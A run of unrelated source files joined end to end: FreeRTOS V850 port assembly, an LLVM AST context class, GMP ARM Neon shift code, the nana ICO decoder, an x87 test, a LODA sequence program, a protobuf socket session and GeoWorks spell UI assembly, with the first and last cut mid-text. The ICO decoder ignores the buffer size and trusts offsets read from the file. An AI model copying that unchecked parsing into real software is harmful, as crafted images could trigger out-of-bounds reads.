usCriticalNesting value from stack movhi HIGHW1(#_usCriticalNesting),r0,r2 st.w r1,LOWW(#_usCriticalNesting)[r2] sld.w 4[ep],r1 ;-- restore general purpose registers sld.w 8[ep],r2 sld.w 12[ep],r6 sld.w 16[ep],r7 sld.w 20[ep],r8 sld.w 24[ep],r9 sld.w 28[ep],r10 sld.w 32[ep],r11 sld.w 36[ep],r12 sld.w 40[ep],r13 sld.w 44[ep],r14 sld.w 48[ep],r15 sld.w 52[ep],r16 sld.w 56[ep],r17 sld.w 60[ep],r18 sld.w 64[ep],r19 dispose 68,r20,r21,r22,r23,r24,r25,r26,r27,r28,r29,r30 .endm ;------------------------------------------------------------------------------ ;--------------------------- _trap_set function ------------------------------- .section ".text", text .align 2 .public _trap_set _trap_set: trap 0x00 ;--------------------------- _vPortStart function ------------------------------- ;-- Restore the context of the first task that is going to run. ;-- ;-- Input: NONE ;-- ;-- Call: CALL vPortStart ;-- ;-- Output: NONE ;------------------------------------------------------------------------------- .section ".text", text .align 2 .public _vPortStart _vPortStart: portRESTORE_CONTEXT ;-- restore the context of whichever task the ... ld.w 0[sp],lp ldsr lp,5 ;-- restore PSW DI ld.w 4[sp],lp ;-- restore LP ld.w 8[sp],lp ;-- restore LP ADD 0x0C,sp ;-- set SP to right position EI jmp [lp] ;--------------------------- _vPortYield function ------------------------------- ;-- Port Yield function to check for a Task switch in the cooperative and ;-- preemptive mode ;-- ;-- Input: NONE ;-- ;-- Call: CALL vPortYield ;-- ;-- Output: NONE ;------------------------------------------------------------------------------ .section ".text", text .align 2 .public _vPortYield _vPortYield: add -0x0C,sp ;-- prepare stack to save necessary values st.w lp,8[sp] ;-- store LP to stack stsr 0,r31 st.w lp,4[sp] ;-- store EIPC to stack stsr 1,lp st.w lp,0[sp] ;-- store EIPSW to stack portSAVE_CONTEXT ;-- save the context of the current task. jarl _vTaskSwitchContext,lp ;-- call the scheduler. portRESTORE_CONTEXT ;-- Restore the context of whichever task the ... ;-- ... scheduler decided should run. ld.w 0[sp],lp ;-- restore EIPSW from stack ldsr lp,1 ld.w 4[sp],lp ;-- restore EIPC from stack ldsr lp,0 ld.w 8[sp],lp ;-- restore LP from stack add 0x0C,sp ;-- set SP to right position EIRET ;------------------------ ISR - OSTMTINT : r_Config_OSTM0_interrupt ------------------------------------------------------ ; -- use preemptive kernel mode .section ".text", text .align 2 .public _r_Config_OSTM0_interrupt _r_Config_OSTM0_interrupt: add -0x0C,sp ;-- prepare stack to save necessary values st.w lp,8[sp] ;-- store LP to stack stsr 0,r31 st.w lp,4[sp] ;-- store EIPC to stack (SR2,0) stsr 1,lp st.w lp,0[sp] ;-- store EIPSW to stack (SR3,0) portSAVE_CONTEXT ;-- save the context of the current task. jarl _xTaskIncrementTick,lp ;-- call the timer tick function. jarl _vTaskSwitchContext,lp ;-- call the scheduler. portRESTORE_CONTEXT ;-- Restore the context of whichever task the ... ;-- ... scheduler decided should run. ld.w 0[sp],lp ;-- restore EIPSW from stack(SR3,0) ldsr lp,1 ld.w 4[sp],lp ;-- restore EIPC from stack(SR2,0) ldsr lp,0 ld.w 8[sp],lp ;-- restore LP from stack add 0x0C,sp ;-- set SP to right position EIRET ;------------------------------------------------------------------------------
// // Created by 刘丰恺 on 17/1/2020. // #include "ast_context.h" AstContext::AstContext(llvm::Module *m) : module(m), parent(nullptr) {} AstContext::AstContext(AstContext *p) { if (!p) { return; } this->module = p->module; this->path_name = p->path_name; } llvm::LLVMContext &AstContext::context() { return module ? module->getContext() : parent->context(); } CodeGen *AstContext::find_symbol_value(const QString &var_name, bool recursive) { auto *p = get_map_value(symbols, var_name); if (p) { return p; } if (recursive && parent) { return parent->find_symbol_value(var_name, recursive); } auto *value = module->getGlobalVariable(var_name.toUtf8().toStdString()); if (!value) { return nullptr; } return nullptr; } void AstContext::set_symbol_value(const QString &var_name, CodeGen *value) { auto iter = symbols.find(var_name); if (iter != symbols.end()) { auto *type = iter.value()->type; if (!type) { throw create_runtime_error("duplicate variable: " + var_name); } delete iter.value(); } // save value in symbols symbols[var_name] = value; } AstDefClass *AstContext::find_class(const QString &name) { return nullptr; }
dnl ARM Neon mpn_lshiftc. dnl Contributed to the GNU project by Torbjörn Granlund. dnl Copyright 2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb cycles/limb cycles/limb good C aligned unaligned best seen for cpu? C StrongARM - - C XScale - - C Cortex-A7 ? ? C Cortex-A8 ? ? C Cortex-A9 3.5 3.5 Y C Cortex-A15 1.75 1.75 Y C We read 64 bits at a time at 32-bit aligned addresses, and except for the C first and last store, we write using 64-bit aligned addresses. All shifting C is done on 64-bit words in 'extension' registers. C C It should be possible to read also using 64-bit alignment, by manipulating C the shift count for unaligned operands. Not done, since it does not seem to C matter for A9 or A15. C C This will not work in big-endian mode. C TODO C * Try using 128-bit operations. Note that Neon lacks pure 128-bit shifts, C which might make it tricky. C * Clean up and simplify. C * Consider sharing most of the code for lshift and rshift, since the feed-in C code, the loop, and most of the wind-down code are identical. C * Replace the basecase code with code using 'extension' registers. C * Optimise. It is not clear that this loop insn permutation is optimal for C either A9 or A15. C INPUT PARAMETERS define(`rp', `r0') define(`ap', `r1') define(`n', `r2') define(`cnt', `r3') ASM_START(neon) TEXT ALIGN(64) PROLOGUE(mpn_lshiftc) mov r12, n, lsl #2 add rp, rp, r12 add ap, ap, r12 cmp n, #4 C SIMD code n limit ble L(base) vdup.32 d6, r3 C left shift count is positive sub r3, r3, #64 C right shift count is negative vdup.32 d7, r3 mov r12, #-8 C lshift pointer update offset sub ap, ap, #8 vld1.32 {d19}, [ap], r12 C load initial 2 limbs vshl.u64 d18, d19, d7 C retval tst rp, #4 C is rp 64-bit aligned already? beq L(rp_aligned) C yes, skip vmvn d19, d19 add ap, ap, #4 C move back ap pointer vshl.u64 d4, d19, d6 sub n, n, #1 C first limb handled sub rp, rp, #4 vst1.32 {d4[1]}, [rp] C store first limb, rp gets aligned vld1.32 {d19}, [ap], r12 C load ap[1] and ap[2] L(rp_aligned): sub rp, rp, #8 subs n, n, #6 vmvn d19, d19 blt L(two_or_three_more) tst n, #2 beq L(2) L(1): vld1.32 {d17}, [ap], r12 vshl.u64 d5, d19, d6 vmvn d17, d17 vld1.32 {d16}, [ap], r12 vshl.u64 d0, d17, d7 vshl.u64 d4, d17, d6 sub n, n, #2 b L(mid) L(2): vld1.32 {d16}, [ap], r12 vshl.u64 d4, d19, d6 vmvn d16, d16 vld1.32 {d17}, [ap], r12 vshl.u64 d1, d16, d7 vshl.u64 d5, d16, d6 subs n, n, #4 blt L(end) L(top): vmvn d17, d17 vld1.32 {d16}, [ap], r12 vorr d2, d4, d1 vshl.u64 d0, d17, d7 vshl.u64 d4, d17, d6 vst1.32 {d2}, [rp:64], r12 L(mid): vmvn d16, d16 vld1.32 {d17}, [ap], r12 vorr d3, d5, d0 vshl.u64 d1, d16, d7 vshl.u64 d5, d16, d6 vst1.32 {d3}, [rp:64], r12 subs n, n, #4 bge L(top) L(end): tst n, #1 beq L(evn) vorr d2, d4, d1 vst1.32 {d2}, [rp:64], r12 b L(cj1) L(evn): vmvn d17, d17 vorr d2, d4, d1 vshl.u64 d0, d17, d7 vshl.u64 d4, d17, d6 vst1.32 {d2}, [rp:64], r12 vmov.u8 d17, #255 vorr d2, d5, d0 vshl.u64 d0, d17, d7 vorr d3, d4, d0 b L(cj2) C Load last 2 - 3 limbs, store last 4 - 5 limbs L(two_or_three_more): tst n, #1 beq L(l2) L(l3): vshl.u64 d5, d19, d6 vld1.32 {d17}, [ap], r12 L(cj1): vmov.u8 d16, #0 add ap, ap, #4 vmvn d17, d17 vld1.32 {d16[1]}, [ap], r12 vshl.u64 d0, d17, d7 vshl.u64 d4, d17, d6 vmvn d16, d16 vorr d3, d5, d0 vshl.u64 d1, d16, d7 vshl.u64 d5, d16, d6 vst1.32 {d3}, [rp:64], r12 vorr d2, d4, d1 vst1.32 {d2}, [rp:64], r12 add rp, rp, #4 vst1.32 {d5[1]}, [rp] vmov.32 r0, d18[0] bx lr L(l2): vld1.32 {d16}, [ap], r12 vshl.u64 d4, d19, d6 vmvn d16, d16 vshl.u64 d1, d16, d7 vshl.u64 d5, d16, d6 vmov.u8 d17, #255 vorr d2, d4, d1 vshl.u64 d0, d17, d7 vorr d3, d5, d0 L(cj2): vst1.32 {d2}, [rp:64], r12 vst1.32 {d3}, [rp] vmov.32 r0, d18[0] bx lr define(`tnc', `r12') L(base): push {r4, r6, r7, r8} ldr r4, [ap, #-4]! rsb tnc, cnt, #32 mvn r6, r4 mov r7, r6, lsl cnt tst n, #1 beq L(ev) C n even L(od): subs n, n, #2 bcc L(ed1) C n = 1 ldr r8, [ap, #-4]! mvn r8, r8 b L(md) C n = 3 L(ev): ldr r6, [ap, #-4]! mvn r6, r6 subs n, n, #2 beq L(ed) C n = 3 C n = 4 L(tp): ldr r8, [ap, #-4]! orr r7, r7, r6, lsr tnc str r7, [rp, #-4]! mvn r8, r8 mov r7, r6, lsl cnt L(md): ldr r6, [ap, #-4]! orr r7, r7, r8, lsr tnc str r7, [rp, #-4]! mvn r6, r6 mov r7, r8, lsl cnt L(ed): orr r7, r7, r6, lsr tnc str r7, [rp, #-4]! mov r7, r6, lsl cnt L(ed1): mvn r6, #0 orr r7, r7, r6, lsr tnc str r7, [rp, #-4] mov r0, r4, lsr tnc pop {r4, r6, r7, r8} bx r14 EPILOGUE()
#ifndef NANA_PAINT_DETAIL_IMAGE_ICO_HPP #define NANA_PAINT_DETAIL_IMAGE_ICO_HPP #include "image_pixbuf.hpp" #include <fstream> #if defined(NANA_WINDOWS) # include <windows.h> #endif namespace nana { namespace paint { namespace detail { // These next two structs represent how the icon information is stored // in an ICO file. typedef struct { std::uint8_t bWidth; // Width of the image std::uint8_t bHeight; // Height of the image (times 2) std::uint8_t bColorCount; // Number of colors in image (0 if >=8bpp) std::uint8_t bReserved; // Reserved std::uint16_t wPlanes; // Color Planes std::uint16_t wBitCount; // Bits per pixel std::uint32_t dwBytesInRes; // how many bytes in this resource? std::uint32_t dwImageOffset; // where in the file is this image } ICONDIRENTRY, *LPICONDIRENTRY; typedef struct { std::uint16_t idReserved; // Reserved std::uint16_t idType; // resource type (1 for icons) std::uint16_t idCount; // how many images? //ICONDIRENTRY idEntries[1]; // the entries for each image } ICONDIR, *LPICONDIR; // size - 40 bytes typedef struct { std::uint32_t biSize; std::uint32_t biWidth; std::uint32_t biHeight; // Icon Height (added height of XOR-Bitmap and AND-Bitmap) std::uint16_t biPlanes; std::uint16_t biBitCount; std::uint32_t biCompression; std::int32_t biSizeImage; std::uint32_t biXPelsPerMeter; std::uint32_t biYPelsPerMeter; std::uint32_t biClrUsed; std::uint32_t biClrImportant; } s_BITMAPINFOHEADER, *s_PBITMAPINFOHEADER; // 46 bytes typedef struct { s_BITMAPINFOHEADER icHeader; // DIB header std::uint32_t icColors[1]; // Color table (short 4 bytes) //RGBQUAD std::uint8_t icXOR[1]; // DIB bits for XOR mask std::uint8_t icAND[1]; // DIB bits for AND mask } ICONIMAGE, *LPICONIMAGE; class image_ico : public basic_image_pixbuf { bool _m_read_ico(const void* data, std::size_t /*size*/) { auto width = 0; auto height = 0; auto buffer = (std::uint8_t *)data; auto icoDir = reinterpret_cast<LPICONDIR>(buffer); int iconsCount = icoDir->idCount; if (icoDir->idReserved != 0 || icoDir->idType != 1 || iconsCount == 0 || iconsCount > 20) return false; auto cursor = buffer; cursor += 6; auto dirEntry = reinterpret_cast<ICONDIRENTRY*>(cursor); auto maxSize = 0; auto offset = 0; auto maxBitCount = 0; for (auto i = 0; i < iconsCount; i++, ++dirEntry) { int w = dirEntry->bWidth; int h = dirEntry->bHeight; int bitCount = dirEntry->wBitCount; if (w * h > maxSize || bitCount > maxBitCount) // we choose icon with max resolution { width = w; height = h; offset = dirEntry->dwImageOffset; maxSize = w * h; maxBitCount = bitCount; } } if (offset == 0) return false; cursor = buffer; cursor += offset; auto icon = reinterpret_cast<ICONIMAGE*>(cursor); auto realBitsCount = static_cast<int>(icon->icHeader.biBitCount); auto hasAndMask = (realBitsCount < 32) && (height != static_cast<int>(icon->icHeader.biHeight)); cursor += 40; pixbuf_.open(width, height); // rgba + vertical swap if (realBitsCount >= 32) { for (auto x = 0; x < width; ++x) for (auto y = 0; y < height; ++y) { pixbuf_.alpha_channel(true); auto shift2 = 4 * (x + (height - y - 1) * width); pixel_color_t image; image.element.red = cursor[shift2 + 2]; image.element.green = cursor[shift2 + 1]; image.element.blue = cursor[shift2]; image.element.alpha_channel = cursor[shift2 + 3]; pixbuf_.pixel(x, y, image); } } else if (realBitsCount == 24) { for (auto x = 0; x < width; x++) for (auto y = 0; y < height; y++) { pixbuf_.alpha_channel(true); auto shift2 = 3 * (x + (height - y - 1) * width); pixel_color_t image; image.element.red = cursor[shift2 + 2]; image.element.green = cursor[shift2 + 1]; image.element.blue = cursor[shift2]; image.element.alpha_channel = 255; pixbuf_.pixel(x, y, image); } } else if (realBitsCount == 8) /// 256 colors { // 256 color table auto colors = reinterpret_cast<unsigned char *>(cursor); cursor += 256 * 4; for (auto x = 0; x < width; x++) for (auto y = 0; y < height; y++) { pixbuf_.alpha_channel(true); auto shift2 = (x + (height - y - 1) * width); auto index = 4 * cursor[shift2]; pixel_color_t image; image.element.red = colors[index + 2]; image.element.green = colors[index + 1]; image.element.blue = colors[index]; image.element.alpha_channel = 255; pixbuf_.pixel(x, y, image); } } else if (realBitsCount == 4) /// 16 colors { // 16 color table auto colors = reinterpret_cast<unsigned char *>(cursor); cursor += 16 * 4; for (auto x = 0; x < width; x++) for (auto y = 0; y < height; y++) { auto shift2 = (x + (height - y - 1) * width); auto index = cursor[shift2 / 2]; if (shift2 % 2 == 0) index = (index >> 4) & 0xF; else index = index & 0xF; index *= 4; pixbuf_.alpha_channel(true); pixel_color_t image; image.element.red = colors[index + 2]; image.element.green = colors[index + 1]; image.element.blue = colors[index]; image.element.alpha_channel = 255; pixbuf_.pixel(x, y, image); } } else if (realBitsCount == 1) /// 2 colors { // 2 color table auto colors = reinterpret_cast<unsigned char *>(cursor); cursor += 2 * 4; auto boundary = width; //!!! 32 bit boundary (http://www.daubnet.com/en/file-format-ico) while (boundary % 32 != 0) boundary++; for (auto x = 0; x < width; x++) for (auto y = 0; y < height; y++) { auto shift2 = (x + (height - y - 1) * boundary); auto index = cursor[shift2 / 8]; // select 1 bit only unsigned char bit = 7 - (x % 8); index = (index >> bit) & 0x01; index *= 4; pixbuf_.alpha_channel(true); pixel_color_t image; image.element.red = colors[index + 2]; image.element.green = colors[index + 1]; image.element.blue = colors[index]; image.element.alpha_channel = 255; pixbuf_.pixel(x, y, image); } } // Read AND mask after base color data - 1 BIT MASK if (hasAndMask) { auto boundary = width * realBitsCount; //!!! 32 bit boundary (http://www.daubnet.com/en/file-format-ico) while (boundary % 32 != 0) boundary++; cursor += boundary * height / 8; boundary = width; while (boundary % 32 != 0) boundary++; for (auto y = 0; y < height; y++) for (auto x = 0; x < width; x++) { unsigned char bit = 7 - (x % 8); auto shift2 = (x + (height - y - 1) * boundary) / 8; auto mask = (0x01 & (static_cast<unsigned char>(cursor[shift2]) >> bit)); auto pc = pixbuf_.pixel(x, y); auto alpha = pc.element.alpha_channel; alpha *= 1 - mask; pc.element.alpha_channel = alpha; pixbuf_.pixel(x, y, pc); } } return true; } public: ~image_ico() { #if defined(NANA_WINDOWS) if (native_handle_) ::DestroyIcon(reinterpret_cast<HICON>(native_handle_)); #endif } bool open(const std::filesystem::path& ico_file) override { std::ifstream file(ico_file.string(), std::ios::binary); if (!file.is_open()) return false; // allocates a buffer for the image file.seekg(0, std::ios::end); const auto bytes = static_cast<std::size_t>(file.tellg()); file.seekg(0, std::ios::beg); auto buffer = new char[bytes]; // read data from the file and set them in the buffer file.read(buffer, bytes); auto okret = _m_read_ico(buffer, bytes); // delete buffer and return delete[] buffer; if (okret) path_ = ico_file; return okret; } bool open(const void* data, std::size_t bytes) override { if (_m_read_ico(data, bytes)) { #if defined(NANA_WINDOWS) native_handle_ = ::CreateIconFromResourceEx(reinterpret_cast<PBYTE>(const_cast<void*>(data)), static_cast<DWORD>(bytes), TRUE, 0x00030000, 0, 0, LR_DEFAULTCOLOR); #endif return true; } return false; } void* native_handle() { #if defined(NANA_WINDOWS) if (native_handle_) return native_handle_; native_handle_ = ::LoadImage(nullptr, path_.c_str(), IMAGE_ICON, 0, 0, LR_LOADFROMFILE); return native_handle_; #else return nullptr; #endif } private: std::filesystem::path path_; #if defined(NANA_WINDOWS) void* native_handle_{nullptr}; #endif }; }//end namespace detail }//end namespace paint }//end namespace nana #endif
%ifdef CONFIG { "RegData": { "RCX": "0" } } %endif mov rdx, 0xe0000000 ; This behaviour was seen around Wine 32-bit libraries ; Anything doing a call to a double application would spin ; the x87 stack on to the stack looking for fxam to return empty ; Empty in this case is that C0 and C3 is set whiel C2 is not fninit ; Empty stack to make sure we don't push anything mov eax, 0 mov ecx, 0 .ExamineStack: ; Examine st(0) fxam fwait ; Get the results in to AX fnstsw ax and ax, 0x4500 ; Check for empty cmp ax, 0x4100 je .Done ; Now push the x87 stack value ; We know it isn't empty fstp qword [rdx + rcx * 8] fwait inc ecx jmp .ExamineStack .Done: hlt
; A142538: Primes congruent to 8 mod 53. ; Submitted by Jon Maiga ; 61,167,379,1439,2287,2393,2711,3347,3559,3877,4513,4831,4937,5573,6421,7057,7481,8011,8117,8329,8647,8753,9283,9601,10343,10979,11827,11933,12251,12569,12781,13099,13417,13523,13841,14159,15643,15749,16067,16703,17021,17551,17657,19141,19777,20201,20731,22003,22109,22639,23063,23593,23911,24229,24547,24971,25183,25819,26561,26879,27091,27197,27409,28151,29423,29741,30059,30271,31013,31543,31649,32497,32603,33769,34511,35677,36313,37691,38327,40129,41189,41507,41719,42461,43627,44263,44687,45641 mov $1,30 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 add $1,13 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,40 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,105
#include "socket_session_impl.h" #include <assert.h> #include <google/protobuf/io/zero_copy_stream_impl_lite.h> #include "frame/sf_logger.h" #include "ds_proto.h" namespace fbase { namespace dataserver { namespace common { // const int header_size = sizeof(ds_proto_header_t); ProtoMessage *SocketSessionImpl::GetProtoMessage(const void *data) { assert(data != nullptr); ProtoMessage *msg = new ProtoMessage; if (msg == nullptr) return nullptr; // 解析头部 ds_proto_header_t *proto_header = (ds_proto_header_t *)(data); ds_unserialize_header(proto_header, &(msg->header)); //FLOG_INFO("new proto message. msgid: %" PRId64 ", func_id: %d, body_len: %d", // msg->header.msg_id, msg->header.func_id, msg->header.body_len); // 拷贝数据 if (msg->header.body_len > 0) { msg->body.resize(msg->header.body_len); memcpy(msg->body.data(), (char *)data + header_size, msg->body.size()); } return msg; } bool SocketSessionImpl::GetMessage(const char *data, size_t size, google::protobuf::Message *req) { google::protobuf::io::ArrayInputStream input(data, size); return req->ParseFromZeroCopyStream(&input); } void SocketSessionImpl::Send(ProtoMessage *msg, google::protobuf::Message *resp) { // // 分配回应内存 size_t body_len = resp == nullptr ? 0 : resp->ByteSizeLong(); size_t data_len = header_size + body_len; response_buff_t *response = new_response_buff(data_len); // 填充应答头部 ds_header_t header; header.magic_number = DS_PROTO_MAGIC_NUMBER; header.body_len = body_len; header.msg_id = msg->header.msg_id; header.version = DS_PROTO_VERSION_CURRENT; header.msg_type = DS_PROTO_FID_RPC_RESP; header.func_id = msg->header.func_id; header.proto_type = msg->header.proto_type; ds_serialize_header(&header, (ds_proto_header_t *)(response->buff)); response->session_id = msg->session_id; response->msg_id = header.msg_id; response->begin_time = msg->begin_time; response->expire_time = msg->expire_time; response->buff_len = data_len; do { if (resp != nullptr) { char *data = response->buff + header_size; if (!resp->SerializeToArray(data, body_len)) { FLOG_ERROR("serialize response failed, func_id: %d", header.func_id); delete_response_buff(response); break; } } //处理完成,socket send msg->socket->Send(response); } while (false); delete msg; delete resp; } void SocketSessionImpl::SetResponseHeader(const kvrpcpb::RequestHeader &req, kvrpcpb::ResponseHeader *resp, errorpb::Error *err) { // TODO // set timestamp resp->set_cluster_id(req.cluster_id()); resp->set_trace_id(req.trace_id()); if (err != nullptr) { resp->set_allocated_error(err); } } } // namespace common } // namespace dataserver } // namespace fbase
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: Spell MODULE: UI FILE: uiEditUserDict.asm AUTHOR: Andrew Wilson, Sep 27, 1992 REVISION HISTORY: Name Date Description ---- ---- ----------- atw 9/27/92 Initial revision DESCRIPTION: Contains code for the EditUserDict controller. $Id: uiEditUserDict.asm,v 1.1 97/04/07 11:08:07 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpellClassStructures segment resource EditUserDictionaryControlClass SpellClassStructures ends SpellControlCode segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: EditUserDictionaryControlGetInfo -- MSG_GEN_CONTROL_GET_INFO for EditUserDictionaryControlClass DESCRIPTION: Return group PASS: *ds:si - instance data es - segment of EditUserDictionaryControlClass ax - The message RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/31/91 Initial version ------------------------------------------------------------------------------@ EditUserDictionaryControlGetInfo method dynamic EditUserDictionaryControlClass, MSG_GEN_CONTROL_GET_INFO mov si, offset EUDC_dupInfo mov es, cx mov di, dx ;es:di = dest segmov ds, cs mov cx, size GenControlBuildInfo rep movsb ret EditUserDictionaryControlGetInfo endm EUDC_dupInfo GenControlBuildInfo < mask GCBF_NOT_REQUIRED_TO_BE_ON_SELF_LOAD_OPTIONS_LIST, offset EUDC_IniFileKey, ; GCBI_initFileKey 0, ; GCBI_gcnList 0, ; GCBI_gcnCount 0, ; GCBI_notificationList 0, ; GCBI_notificationCount EditUserDictionaryName, ; GCBI_controllerName handle EditUserDictControlUI, ; GCBI_dupBlock offset EUDC_childList, ; GCBI_childList length EUDC_childList, ; GCBI_childCount offset EUDC_featuresList, ; GCBI_featuresList length EUDC_featuresList, ; GCBI_featuresCount EUDC_DEFAULT_FEATURES, ; GCBI_features handle SpellControlToolboxUI, ; GCBI_toolBlock offset EUDC_toolList, ; GCBI_toolList length EUDC_toolList, ; GCBI_toolCount offset EUDC_toolFeaturesList, ; GCBI_toolFeaturesList length EUDC_toolFeaturesList, ; GCBI_toolFeaturesCount EUDC_DEFAULT_TOOLBOX_FEATURES, ; GCBI_toolFeatures EUDC_helpContext> ; GCBI_helpContext if FULL_EXECUTE_IN_PLACE SpellControlInfoXIP segment resource endif EUDC_helpContext char "dbEditDict", 0 EUDC_IniFileKey char "editUserDictionary", 0 ;--- EUDC_childList GenControlChildInfo \ <offset EditDictionaryGroup, mask EUDF_EDIT_USER_DICTIONARY, mask GCCF_IS_DIRECTLY_A_FEATURE> ; Careful, this table is in the *opposite* order as the record which ; it corresponds to. EUDC_featuresList GenControlFeaturesInfo \ <offset EditDictionaryGroup, EditUserDictionaryName, 0> EUDC_toolList GenControlChildInfo \ <offset EditUserDictToolTrigger, mask EUDTF_EDIT_USER_DICTIONARY, mask GCCF_IS_DIRECTLY_A_FEATURE> EUDC_toolFeaturesList GenControlFeaturesInfo \ <offset EditUserDictToolTrigger, SpellName, 0> if FULL_EXECUTE_IN_PLACE SpellControlInfoXIP ends endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetWordFromUserDictionaryList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine returns the requested word from the user dictionary list CALLED BY: GLOBAL PASS: bx - block containing user dictionary list es:di <- ptr to where to put block ax - index of entry to get RETURN: nada DESTROYED: nothing PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 4/30/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetWordFromUserDictionaryList proc near uses ax, bx, cx, dx, bp, di, ds, si .enter push es, di xchg dx, ax call MemLock mov es, ax EC < cmp dx, es:[UDLI_numEntries] > EC < ERROR_AE -1 > clr al mov di, es:[UDLI_lastFoundPtr] ;DI <- last word returned mov cx, es:[UDLI_lastFoundIndex] ;CX <- index of last word mov es:[UDLI_lastFoundIndex], dx ; sub dx, cx ;DX <- # words to skip ; forward or backward jz exit ;If no words to skip, branch jns skipForward ;If pos # words, branch forward mov cx, di sub cx, size UserDictionaryListInfo ;CX <- # chars to scan sub di,2 ;ES:DI <- ptr before null ; term of the previous string ; SKIP BACKWARD 0-DX WORDS std skipBackward: clr al repne scasb ;ES:DI <- ptr before null byte inc dx jnz skipBackward cld add di, 2 ;Skip forward past null byte to point to word EC < cmp di, size UserDictionaryListInfo > EC < ERROR_B -1 > jmp exit skipForward: mov cx, -1 ; SKIP FORWARD DX WORDS skipForwardLoop: repne scasb dec dx jnz skipForwardLoop exit: ; ; ES:DI <- ptr to string we wanted to index ; mov es:[UDLI_lastFoundPtr], di ;Save ptr to string segmov ds, es mov si, di ; GET SIZE OF INDEXED STRING clr al mov cx, -1 repne scasb not cx pop es, di ;Restore ptr to dest ; COPY STRING TO DESTINATION if DBCS_PCGEOS clr ah 80$: lodsb stosw loop 80$ else rep movsb endif call MemUnlock .leave ret GetWordFromUserDictionaryList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlRequestAlternate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This is the method sent from the alternate spelling dynamic list when it wants a moniker. CALLED BY: GLOBAL PASS: cx:dx <- list to send reply to bp - index of alternate requested RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 2/ 7/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlRequestAlternate method EditUserDictionaryControlClass, MSG_EUDC_GET_USER_DICTIONARY_LIST_MONIKER SBCS <altString local SPELL_MAX_WORD_LENGTH dup (char) > DBCS <altString local SPELL_MAX_WORD_LENGTH dup (wchar) > mov ax, bp ;AX <- entry # to return .enter push cx, dx ; OD of dynamic list mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset mov bx, ds:[di].EUDCI_userDictList segmov es, ss lea di, altString call GetWordFromUserDictionaryList pop bx, si ;dynamic list od push bp mov_tr bp, ax mov cx, es mov dx, di mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop bp .leave ret EditUserDictionaryControlRequestAlternate endp ObjMessageFixupDS proc near mov di, mask MF_FIXUP_DS call ObjMessage ret ObjMessageFixupDS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FreeEditBuff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine frees up the edit buffer if one exists. CALLED BY: GLOBAL PASS: *ds:si - object RETURN: nada DESTROYED: bx PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FreeEditBuff proc near uses si class EditUserDictionaryControlClass .enter mov si, ds:[si] add si, ds:[si].EditUserDictionaryControl_offset clr bx xchg bx, ds:[si].EUDCI_userDictList tst bx jz exit call MemFree ;Free up the edit box info. exit: .leave ret FreeEditBuff endp COMMENT 